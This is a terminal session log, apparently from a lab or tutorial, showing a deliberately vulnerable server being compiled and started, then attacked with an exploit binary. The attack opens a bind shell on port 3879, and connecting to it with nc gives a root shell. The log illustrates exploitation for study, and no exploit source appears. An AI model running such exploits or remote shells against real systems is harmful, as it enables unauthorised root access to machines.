[root@hax0r exp3]# ls Makefile overserver.c serverbuf.c [root@hax0r exp3]# make gcc serverbuf.c -o serverbuf gcc overserver.c -o overserver -lexploit [root@hax0r exp3]# ./serverbuf 8888 <- Running server on port 8888 [root@hax0r exp3]# [root@hax0r exp3]# netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN udp 0 0 0.0.0.0:1025 0.0.0.0:* udp 0 0 0.0.0.0:1024 0.0.0.0:* raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 [root@hax0r exp3]# ./overserver 192.168.0.3 8888 <- Exploit server [root@hax0r exp3]# netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:3879 0.0.0.0:* LISTEN tcp 0 0 192.168.0.3:8888 192.168.0.3:1153 CLOSE tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN udp 0 0 0.0.0.0:1025 0.0.0.0:* udp 0 0 0.0.0.0:1024 0.0.0.0:* raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 [root@hax0r exp3]# nc 192.168.0.3 3879 <- Shell is open on port 3879 id; uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) exit [root@hax0r exp3]# Bingo ;)